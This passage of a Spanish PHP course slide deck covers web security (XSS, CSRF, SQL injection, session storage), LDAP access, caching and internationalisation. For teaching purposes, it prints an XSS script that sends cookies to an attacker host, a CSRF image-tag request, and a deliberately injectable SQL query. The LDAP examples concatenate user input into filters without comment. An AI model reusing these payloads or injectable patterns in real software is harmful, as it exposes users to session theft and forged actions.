  • 134. PHP – PHP: Hypertext Preprocessor ● Cross Site Scripting (XSS) – Atentan contra la confianza que un usuario tiene a una web (o al menos el que su navegador tiene hacia la misma) – Normalmente afectan a páginas que muestran datos externos o muestran datos introducidos por los usuarios – Si no filtramos la entrada, ni escapamos la salida de datos (FIEO de nuevo...): <script> document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie </script> – Usar htmlentities(), stript_tags(), etc..
  • 135. PHP – PHP: Hypertext Preprocessor ● Cross Site Request Forgeries (CSRF) – Atentan contra la confianza que una web tiene hacia los usuarios. ● Principalmente hacia los usuarios logueados. Nos permite enviar posts, comentarios, etc... – A pesar de tener la sesión bien controlada, puede lanzarse este ataque – Consiste en enviar un petición HTTP en nombre de un usuario registrado. ● Por ejemplo Twitter estuvo afectado y mediante un enlace malicioso te convertías en follower del atacante automáticamente. ● Realmente ni siquiera hace falta hacer click, basta con tener una imagen con una url maliciosa. <img src=”http://stocks.example.org/buy.php?symbol=SCOX&quantity=1000” /> – El ataque también puede provenir de un formulario externo que se lance contra nuestra web
  • 136. PHP – PHP: Hypertext Preprocessor ● Cross Site Request Forgeries (CSRF) – Como lo combatimos ● No usar GET a la hora de confirmar acciones – Y en un POST?? Porque decías algo de los formularios... ● Utilizar tokens. ● Un input oculto con un valor precalculado que es válido solo para la sesión actual y aceptado solo en un POST. <?php session_start(); $token = md5(uniqid(rand(), true)); $_SESSION['token'] = $token; ?> <form method="POST"> <input type="hidden" name="token" value="<?php echo $token; ?>" /> <input type="text" name="message"><br /> <input type="submit"> </form>
  • 137. PHP – PHP: Hypertext Preprocessor ● Servidores Compartidos – Los datos de sesión se guardan en un directorio compartido. (normalmente /tmp) – Todos los clientes del Servidor Compartido pueden acceder a los archivos de sesión de otro cliente. – Solución: ● Almacenar los datos de sesión en la base de datos. Haciendo uso de la función session_set_save_handler podemos indicar que funciones se utilizarán para gestionar la sesión. session_set_save_handler('_open','_close','_read','_write' ,'_destroy','_clean'); ● Mejor todavía, no usar servidores compartidos :p
  • 138. PHP – PHP: Hypertext Preprocessor ● Sql injection – Filtrar la entrada (FIEO!) – Utilizar los mecanismos de “quoting” que nos facilita nuestra extensión de BBDD ● mysqli_real_scape_string() – Utilizar prepared statements mysql_query('SELECT * FROM user WHERE username = "' . $_GET['username'] . '"); Créditos: XKCD - http://xkcd.com
  • 139. PHP – PHP: Hypertext Preprocessor ● Cookies – Los datos de las cookies pueden se accesibles por cualquiera. – Mantener la mínima información posible en ellas
  • 140. PHP – PHP: Hypertext Preprocessor ● Guía indispensable para tener una noción básica sobre la seguridad en PHP (y la programación web en general) – http://phpsec.org/projects/guide/
  • 141. PHP – PHP: Hypertext Preprocessor LDAP
  • 142. PHP – PHP: Hypertext Preprocessor LDAP ● LDAP: Lightweight Directory Access Protocol – Protocolo a nivel de aplicación que permite el acceso a un servicio de directorio ordenado y distribuido para buscar diversa información en un entorno de red. – Directorio: ● Conjunto de objetos con atributos organizados de una manera lógica y jerárquica – Habitualmente se utiliza para la autenticación de usuarios.
  • 143. PHP – PHP: Hypertext Preprocessor LDAP ● Sintaxis PHP – Conexión $ldap = ldap_connect($host,[$port]); ldap_set_option($ldap, LDAP_OPT_PROTOCOL_VERSION, 3); ldap_bind($ldap,$user,$pass); – Consultas $filter = "(campodelarbol=".$user.")"; $base_dn = "dc=rama,dc=dominio,dc=dominio"; $read = ldap_search($ldap, $base_dn, $filter); $info = ldap_get_entries($ldap, $read); – Escritura ldap_modify($ldap,$dn,$entry); ldap_mod_replace($ldap,$dn,$attr); – Cerrar conexión ldap_close($ldap);
  • 144. PHP – PHP: Hypertext Preprocessor LDAP ● Sintaxis Zend – Conexión $options( 'host' => 's0.foo.net', 'username' => 'CN=user1,DC=foo,DC=net', 'password' => 'pass1', 'bindRequiresDn' => true, 'accountDomainName' => 'foo.net', 'baseDn' => 'OU=Sales,DC=foo,DC=net',); $ldap = new Zend_Ldap($options); $ldap->bind($user,$pass); – Consultas $filter = "(campodelarbol=".$user.")"; $ldap->search($filter); – Escritura $hm = $ldap->getEntry($dn); Zend_Ldap_Attribute::setAttribute($hm, 'mail', 'mueller@my.local'); Zend_Ldap_Attribute::setPassword($hm,'newPa$$w0rd', Zend_Ldap_Attribute::PASSWORD_HASH_SHA1); $ldap->update($dn, $hm);
  • 145. PHP – PHP: Hypertext Preprocessor Cacheando desde PHP Cacheando desde PHP
  • 146. PHP – PHP: Hypertext Preprocessor ● Cache – Duplicación de un conjunto de datos con la intención de reducir el tiempo de acceso a los datos originales para optimizar el rendimiento del sistema – En la web su objetivo es: ● Reducir el ancho de banda consumido ● Reducir la carga de los servidores ● Reducir el tiempo de descarga
  • 147. PHP – PHP: Hypertext Preprocessor ● Cache en el lado del cliente – Desde PHP podemos manejar las cabeceras para tratar que el cliente no nos realice tantas peticiones. ● Expires: Le decimos cuando caduca la página ● Etag: Le damos un hash para que compruebe si se ha modificado el recurso o no. ● Cache-Control y Pragma – Normalmente se suelen utilizar para todo lo contrario, para especificar explicitamente que no queremos que se cachee algo.
  • 148. PHP – PHP: Hypertext Preprocessor Cacheando en el lado del servidor
  • 149. PHP – PHP: Hypertext Preprocessor ● Memcached – Sistema distribuido de cacheo en memoria – Escucha en el puerto 11211 – Nos permite almacenar datos y objetos en memoria – A medida que se va llenando la memoria, los objetos más antiguos se van eliminando. – No tiene ningún mecanismo de seguridad, si tengo acceso a memcached, tengo acceso a los datos!!!! ● Iptables – Instalación del servidor de memcached apt-get install memcached – Instalación de la librería para php apt-get php5-memcache – Ya podemos utilizar las funciones de tipo memcache_*
  • 150. PHP – PHP: Hypertext Preprocessor ● Cacheando en ficheros – Podemos utilizar el sistema de ficheros para cachear datos. ● Por ejemplo si guardamos las imágenes y los ficheros subidos por los usuarios en la BBDD, podemos tener una caché para no andar pidiéndoselo todo el rato a MySQL. – No es recomendable dar acceso directo a esta carpeta. ● Tendremos un fichero o un script que se encargue de realizar la transformación en la petición. – También podemos utilizar ob_start, ob_get_contents, etc... Para cachear partes de la web. ● Accedemos por RSS a un recurso, nos lo descargamos lo procesamo con el ob activo y guardamos el contenido en un archivo. ● Ahora utilizamos el archivo durante X tiempo en lugar de acceder al servidor remoto en cada petición.
  • 151. PHP – PHP: Hypertext Preprocessor ● Zend_Cache – Volvemos al patrón Factory ● Nos permite utilizar diferentes “Backends” y “Frontends” con una misma interfaz/api. ● Frontends: – Qué es lo que queremos cachear: Core, Output, File, Function y Class ● Backends: – Dónde lo queremos almacenar: File, Sqlite, Memcached, Xcache, ZendPlatform, TwoLevels, ZendServer_disk y ZendServer_shMem –
  • 152. PHP – PHP: Hypertext Preprocessor ● APC – Alternative PHP Cache – Cachea tanto datos, como código “compilado” del bytecode de PHP, en memoria compartida – Optimiza notablemente el uso de recursos. – Se instala como una extensión apt-get install php-apc – Y según se instala empieza a hacer toda la magia – Tienen intención de incluirlo en el core de PHP6 – Si queremos también podemos obligarle a guardar ciertos datos apc_add($clave,$valor) apc_fetch($clave) etc...
  • 153. PHP – PHP: Hypertext Preprocessor ● Otros aceleradores – eAccelerator ● Solo funciona en modo thread-safe, por lo demás no tiene mala fama... – Xcache ● Desarrollado por uno de los developers de Lighttpd. ● Está comprobado que funciona en servidores con mucha carga – Zend Optimizer+ ● Funciona bajo la comunity edition de Zend Server....
  • 154. PHP – PHP: Hypertext Preprocessor PHP multilenguaje
  • 155. PHP – PHP: Hypertext Preprocessor Conceptos ● El gran problema de la internacionalización 18 caracteres – i18n: InternationalizatioN ● Proceso de diseñar software que permita ser adaptado a diferentes idiomas sin necesidad cambios en el código 10 caracteres – L10n: LocalizatioN ● Proceso para adaptar el software a una zona específica – NLS: Native Language Support ● Lo que engloba los dos anteriores, también conocido como g11n (globalization) – Locale: códigoLang_CÓDIGOESTADO[.charset] ● Conjunto de parámetros que definen un lenguaje Ej: es_ES.utf8, en_US, eu_ES.ISO-8859-1
  • 156. PHP – PHP: Hypertext Preprocessor ● Multilenguaje utilizando arrays – Consiste en tener un fichero con el array de literales. – No es sostenible para aplicaciones con muchos literales $literales = array( “hello world” => “hola mundo”, “by world” => “adios mundo” ); – Este archivo lo cargamos desde la clase encargada de las traducciones. – Otra variante es hacerlo con archivos ini. Estos suelen ser más fáciles de modificar por el cliente.
  • 157. PHP – PHP: Hypertext Preprocessor ● Multilenguaje desde base de datos – Consiste en tener todos los literales en una tabla de la BBDD. – Se puede facilitar al cliente la posibilidad de modificar el mismo los literales – Solo se cargan en memoria los literales necesarios en cada momento. ● Se debe analizar si es mejor cargarlos todos, dependerá de cada aplicación – Facilmente escalable
  • 158. PHP – PHP: Hypertext Preprocessor ● Multilenguaje con gettext – Opción preferida en entornos Unix – Aunque también la más compleja – Modo de trabajo: ● Crear los .po con la herramienta xgettext Ej: xgettext –default-domain=hola.php ● El fichero .po contendrá msgid "Hola mundo" # Clave msgstr "" # Valor (traducción) – El binario .mo se crea con msgfmt ● Carpetas: /locale/eu_ES/LC_MESSAGES/fichero.mo
  • 159. PHP – PHP: Hypertext Preprocessor Autores: Alayn Gortazar <alayn@irontec.com> Javier Infante <jabi@irontec.com> Iván Mosquera <ivan@irontec.com>
  • 160. PHP – PHP: Hypertext Preprocessor Licencia Copyleft ● Eres libre de: – Copiar, distribuir y comunicar públicamente la obra – Hacer obras derivadas ● Bajo las condiciones siguientes: – Reconocimiento: ● Debes reconocer los créditos de la obra de la manera especificada por el autor o el licenciador (pero no de una manera que sugiera que tienes su apoyo o apoyan el uso que haces de su obra) – Compartir bajo la misma licencia ● Si transformas o modificas esta obra para crear una obra derivada, sólo puedes distribuir la obra resultante bajo la misma licencia, una similar o una compatible. ● Más información en: http://creativecommons.org/licenses/by-sa/3.0/es/